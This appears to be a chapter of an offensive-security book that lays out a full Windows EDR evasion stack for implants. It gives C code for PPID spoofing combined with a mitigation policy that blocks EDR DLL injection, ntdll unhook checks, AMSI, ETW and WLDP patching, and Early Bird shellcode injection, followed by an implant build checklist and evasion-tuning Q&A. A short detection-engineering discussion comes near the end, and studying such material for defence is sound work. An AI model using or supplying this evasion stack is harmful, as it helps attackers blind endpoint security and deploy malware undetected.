Layered Evasion Architecture
The preceding fourteen chapters covered individual bypass techniques: syscalls, AMSI patching, ETW silencing, PPID spoofing. None of them is a complete solution in isolation. Real implants combine these into an ordered execution stack where each layer removes a detection channel before the next layer generates the activity that layer would have detected. This chapter assembles the full Part 5 stack, defines the ordering rules, identifies the residual gaps no userland technique closes, and maps the complete picture for detection engineers who need to understand what a fully-layered implant looks like from the defensive side.
The Ordering Problem
WRONG ordering (will be detected):
─────────────────────────────────────────────────────────────────────────
Step 1: Load payload (AMSI scans it → detected, execution blocked)
Step 2: Patch AMSI ← too late, AMSI already fired
Step 3: Inject into process ← EDR hooks see the injection
WRONG ordering:
─────────────────────────────────────────────────────────────────────────
Step 1: Patch EtwEventWrite ← EDR hooks VirtualProtect, sees the write
Step 2: Unhook ntdll ← EDR hooks are still active at Step 1
Step 3: Do injection
CORRECT ordering:
─────────────────────────────────────────────────────────────────────────
Phase 0 (at process creation, before any code runs):
• Set mitigation policy (blocks EDR DLL injection into this process)
• Set PPID spoof (logs show wrong parent)
Phase 1 (first code that runs — before EDR hooks are active):
• Early Bird APC pattern (Ch31): queue Phase 2 payload before EDR injects
OR
• If EDR already injected: unhook ntdll first (Ch39/40)
Phase 2 (after unhook, before any sensitive operations):
• Patch EtwEventWrite (now via direct/indirect syscalls — hooks are gone)
• Patch AMSI (now without EDR seeing the VirtualProtect call)
Phase 3 (actual payload operations):
• Process injection (Ch24-37): EDR has no hooks, no ETW events
• C2 communication: randomized JA3 (Ch50)
The invariant: each bypass must be applied BEFORE the activity it protects.The Complete Evasion Stack
/* layered_evasion.c — Skeleton showing the full ordered evasion stack.
Each phase calls into the relevant chapter's technique.
This is a skeleton — link against the actual implementations from each chapter.
*/
#include <windows.h>
#include <stdio.h>
/* Forward declarations (implemented in respective chapters) */
extern BOOL spawn_edr_hardened(const wchar_t *exe); /* Ch49 */
extern BOOL spawn_with_spoofed_ppid( /* Ch48 */
const wchar_t *exe, const wchar_t *fake_parent);
extern BOOL unhook_from_file(void); /* Ch39 */
extern BOOL unhook_via_suspended_process(void); /* Ch40 */
extern BOOL amsi_patch_via_win32(void); /* Ch45 */
extern BOOL wldp_patch(void); /* Ch45 */
extern BOOL etw_patch_all_variants(void); /* Ch46 */
extern BOOL run_early_bird(const wchar_t *target_proc, /* Ch31 */
BYTE *shellcode, SIZE_T sc_len);
/* Phase 0: Run before the current process's main() — at child creation time
This phase is in the LAUNCHER process, not the implant process itself.
Launcher creates the implant process with:
- PPID = spoofed to explorer.exe
- Mitigation = BLOCK_NON_MICROSOFT_BINARIES (prevents EDR DLL injection)
Once the implant process starts, EDR's DLL injection is blocked at kernel level.
The implant process continues at Phase 1.
*/
BOOL phase0_process_creation(const wchar_t *implant_path) {
/* Both attributes at once: spoof PPID + set mitigation */
SIZE_T attr_size = 0;
InitializeProcThreadAttributeList(NULL, 2, 0, &attr_size);
LPPROC_THREAD_ATTRIBUTE_LIST attr = HeapAlloc(GetProcessHeap(), 0, attr_size);
InitializeProcThreadAttributeList(attr, 2, 0, &attr_size);
/* PPID spoofing (Ch48) */
DWORD explorer_pid = /* find_pid(L"explorer.exe") */ 0;
HANDLE hFakeParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorer_pid);
UpdateProcThreadAttribute(attr, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hFakeParent, sizeof(HANDLE), NULL, NULL);
/* Mitigation policy (Ch49) */
DWORD64 mitigation =
0x1ULL | /* DEP_ENABLE */
0x100000000000ULL; /* BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON */
UpdateProcThreadAttribute(attr, 0,
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
&mitigation, sizeof(mitigation), NULL, NULL);
STARTUPINFOEXW si = {0};
si.StartupInfo.cb = sizeof(si);
si.lpAttributeList = attr;
wchar_t cmd[MAX_PATH];
wcscpy(cmd, implant_path);
PROCESS_INFORMATION pi = {0};
BOOL ok = CreateProcessW(NULL, cmd, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
(LPSTARTUPINFOW)&si, &pi);
DeleteProcThreadAttributeList(attr);
HeapFree(GetProcessHeap(), 0, attr);
CloseHandle(hFakeParent);
if (ok) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
return ok;
}
/* Phase 1: First code in the implant process.
If the mitigation policy blocked EDR DLL injection, ntdll is clean.
We can proceed directly to Phase 2.
If for any reason EDR managed to inject (e.g., kernel callback variant),
unhook ntdll first via the disk or suspended-process method.
*/
BOOL phase1_unhook(void) {
/* Check if ntdll is hooked by looking at EtwEventWrite bytes */
PVOID etw_fn = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
PBYTE b = (PBYTE)etw_fn;
if (b[0] == 0xE9 || (b[0] == 0xFF && b[1] == 0x25)) {
printf("[!] ntdll hooks detected — running unhook\n");
/* Prefer suspended-process method (no file I/O — Ch40) */
if (!unhook_via_suspended_process()) {
unhook_from_file(); /* fallback (Ch39) */
}
} else {
printf("[+] ntdll appears clean — skipping unhook phase\n");
}
return TRUE;
}
/* Phase 2: Silence telemetry after ntdll is clean.
Now all Win32 API calls go through the unhooked ntdll — no EDR visibility.
Use VirtualProtect (now unhooking-clean) to patch AMSI and ETW.
*/
BOOL phase2_silence_telemetry(void) {
BOOL ok = TRUE;
ok &= etw_patch_all_variants(); /* Ch46 — silence EtwEventWrite */
ok &= amsi_patch_via_win32(); /* Ch45 — disable AMSI scanning */
ok &= wldp_patch(); /* Ch45 — disable WDAC code trust checks */
if (ok) printf("[+] All telemetry channels silenced\n");
return ok;
}
/* Phase 3: Actual payload execution.
EDR hooks: gone (ntdll unhooked OR EDR DLL blocked from injecting).
AMSI: patched.
ETW userland: patched.
Now execute injection / load C2 payload using indirect syscalls (Ch43/44)
so that ETW-TI call stacks show ntdll as origin.
Remaining telemetry: ETW-TI (kernel-level) — unavoidable from userland.
*/
BOOL phase3_execute_payload(BYTE *shellcode, SIZE_T sc_len) {
printf("[+] Executing payload via Early Bird APC (Ch31)\n");
/* Early Bird: spawn a new process suspended, queue APC with shellcode,
resume. The shellcode runs before EDR hooks — but since we're already
in Phase 3 with telemetry silenced, this is for the CHILD process. */
return run_early_bird(L"C:\\Windows\\System32\\notepad.exe",
shellcode, sc_len);
}
/* Main — the implant's entry point */
int implant_main(BYTE *shellcode, SIZE_T sc_len) {
printf("=== Layered Evasion Stack ===\n");
if (!phase1_unhook()) { printf("[-] Phase 1 failed\n"); return 1; }
if (!phase2_silence_telemetry()){ printf("[-] Phase 2 failed\n"); return 1; }
if (!phase3_execute_payload(shellcode, sc_len))
{ printf("[-] Phase 3 failed\n"); return 1; }
printf("[+] All phases complete\n");
return 0;
}
Residual Gaps — What No Userland Bypass Closes
Bypass applied Detection channel closed
─────────────────────────────────────────────────────────────────────────
ntdll unhook (Ch39/40) EDR argument-level visibility via hooks
Direct/indirect syscalls Bypass hook interception entirely
AMSI patch (Ch45) AV scanning of script/managed code content
ETW patch (Ch46) Userland telemetry → SIEM log-based detections
PPID spoof (Ch48) Parent-child relationship in process tree
Mitigation policy (Ch49) EDR DLL injection into implant process
JA3 randomization (Ch50) Network-level TLS fingerprint matching
What remains after ALL of the above:
─────────────────────────────────────────────────────────────────────────
Detection channel Why it survives
─────────────────────────────────────────────────────────────────────────
ETW-TI (Ch47) Kernel-emitted. No userland bypass.
Still sees: cross-process write, remote thread,
APC queue, NtMapViewOfSection, all handle ops.
Closes only with kernel access (BYOVD, Part 15).
File system AV Payloads on disk still scanned at write time.
Close by: staying fileless (all in memory),
encrypting until execution, using legitimate
writable locations.
Behavioral heuristics (ML) EDR ML models correlate event sequences.
Even without hook visibility, the SEQUENCE of
events (alloc → write → protect → thread create
in another process) is a strong behavioral signal.
Close by: spreading activity across time (jitter),
using existing threads, avoiding RWX patterns.
PPID mismatch (WMI / ETW-TI) ETW-TI records the real creating process.
WMI CreatorProcessId shows the real creator.
Sophisticated detection still sees through PPID spoof.
Network metadata CDN/redirector hides server JARM.
But: beacon timing, DNS query patterns, IP
reputation of CDN domain all still visible.
JA3 randomization helps but doesn't replace
proper C2 infrastructure (Part 12).
EDR "block policy was set" Setting BLOCK_NON_MICROSOFT_BINARIES is itself
detection a logged event. EDRs flag this as suspicious.
The honest assessment:
─────────────────────────────────────────────────────────────────────────
With all Part 5 bypasses applied + BYOVD (Part 15):
→ EDR's userland visibility: eliminated
→ ETW-TI: eliminated (if kernel patch succeeds)
→ Detection probability: significantly reduced but NOT zero
→ Remaining exposure: behavioral/ML heuristics, infrastructure
A well-tuned MDE + Sentinel stack with behavioral rules will still fire
on injection patterns even after all these bypasses. The goal is raising
the cost and expertise required for detection, not achieving theoretical
undetectability.Implant Build Checklist for Part 5
Before deploying an implant in a controlled engagement:
─────────────────────────────────────────────────────────────────────────
[ ] Process creation (launcher):
PPID spoofed to a plausible legitimate parent
Mitigation policy: BLOCK_NON_MICROSOFT_BINARIES set
Combine both in a single CreateProcessW call with 2-attribute list
[ ] First-stage hook check:
Verify ntdll hooks are absent (check first bytes of key functions)
If hooks present: run ntdll unhook via suspended process (Ch40)
Avoid unhooking from disk if the disk path is monitored
[ ] Telemetry suppression:
EtwEventWrite + EtwEventWriteFull + EtwEventWriteEx all patched
AmsiScanBuffer patched
WldpQueryDynamicCodeTrust patched (if PS Constrained Language relevant)
All patches applied via direct/indirect syscalls (not hooked Win32)
[ ] Syscall method:
Use SysWhispers3 with indirect mode (Ch44) for all NT function calls
Verify SSN resolution works (FreshyCalls EAT sort as cross-check)
Verify indirect gadget addresses found in ntdll (not null)
[ ] Injection technique:
Choose based on target process (Ch37 comparison matrix):
• Stability priority: APC early bird into svchost
• Stealth priority: module stomping (existing VAD-backed memory)
• No new thread: Pool Party or PROPagate
[ ] C2 communication:
JA3 randomized (shuffle cipher pool per connection) (Ch50)
Beacon jitter applied (randomize sleep interval ±30%)
C2 domain behind CDN/redirector (Part 12)
Use HTTPS with Let's Encrypt cert (not self-signed)
[ ] Post-deployment validation (test in isolated VM with EDR):
Run in VM with target EDR installed
Check: does the process appear in the EDR console?
Check: are any alerts generated?
Check: does the process tree look legitimate?
Check: does network traffic blend in?Questions & Answers
If you apply all Part 5 bypasses, is your implant invisible to Microsoft Defender for Endpoint?
No — and it's important to be precise here. MDE's detection capability falls into tiers: (1) Userland hook-based detections: eliminated by ntdll unhook + direct/indirect syscalls. (2) ETW userland log-based detections: eliminated by EtwEventWrite patch. (3) AMSI: eliminated. (4) ETW-TI based detections: still active — MDE's sensor consumes ETW-TI events, which cannot be patched from userland. MDE will still see cross-process write + remote thread creation events in ETW-TI. (5) Behavioral ML model: still active — MDE correlates the ETW-TI events into a behavioral sequence. An implant doing classic DLL injection will still generate an MDE alert even with all Part 5 bypasses, because the ETW-TI sequence is the detection trigger, not the hooked API data.
What's the minimum viable bypass stack for an engagement against a typical enterprise EDR?
Against a median enterprise SOC (tuned Sentinel or Splunk alerts, standard EDR deployment, no 24/7 threat hunting): the minimum that gives you meaningful operation time is (1) ntdll unhook to bypass hook-based argument logging, (2) PPID spoof to avoid obvious parent-child detections, (3) indirect syscalls to pass call stack checks. Against a mature SOC with MDE P2 and active threat hunting: add ETW patch, AMSI patch, use lower-noise injection (APC or module stomping rather than classic DLL injection), and don't forget C2 infrastructure evasion. The "minimum viable" is always relative to the defender's capability — start with the minimum, test against the actual target EDR in a controlled environment, and add layers only where you observe detection gaps.
How does the timing of bypass application affect EDR detection probability?
Significantly. EDR kernel callbacks (PsSetLoadImageNotifyRoutine, PsSetCreateProcessNotifyRoutine) fire at specific lifecycle events. DLL injection by the EDR happens after PsSetLoadImageNotifyRoutine fires for your process image load. If you use Early Bird APC (Ch31), your shellcode runs during the first DLL initialization, before the EDR's DLL load callback completes its injection. This is a timing window of roughly 5-10 milliseconds. If you miss this window (because you're using a full executable, not Early Bird), EDR hooks are established by the time your code runs and you must unhook reactively. Proactive bypass (set at process creation, Phase 0 + Phase 1 Early Bird) is more reliable than reactive bypass (detect hooks, then patch them while EDR monitors your patching activity).
From a detection engineering perspective, what single detection would catch the most implants using this full stack?
ETW-TI events for NtWriteVirtualMemory with a remote process target, correlated with a subsequent NtCreateThreadEx in the same target process where the start address falls in an anonymous (non-module-backed) memory region. This sequence — cross-process write followed by remote thread in non-module memory — is the behavioral signature of virtually every injection technique in Part 4. Even with indirect syscalls making the call stack show ntdll, the kernel-level ETW-TI event records the operation itself (not the call stack from the attacker's perspective, but the operation metadata: source process, target process, target address range, protection flags). Module stomping (Ch28) partially evades this by writing to module-backed memory, which is why it's the highest-stealth option — but the VirtualProtect(RWX) on a known DLL .text section is itself a high-fidelity signal.
Do these bypass techniques apply to macOS and Linux, or are they Windows-specific?
Almost entirely Windows-specific. The specific techniques depend on Windows internals: ntdll hooks, ETW, AMSI, Schannel, PEB structures, PROC_THREAD_ATTRIBUTE_LIST — none of these exist on macOS or Linux. macOS has its own equivalents: TCC (Transparency, Consent, and Control), SIP (System Integrity Protection), Endpoint Security Framework (replacing kauth), and code signing enforcement. Linux has eBPF-based EDR sensors, seccomp filters, and audit daemon hooks. The bypass PRINCIPLES transfer: hook detection and removal, telemetry suppression at the source, process tree manipulation (via clone() flags), and TLS fingerprint randomization apply conceptually across platforms. But the implementation is completely different — you'd be reading Linux kernel source and macOS SDK headers rather than ntdll.dll to find the relevant intercept points.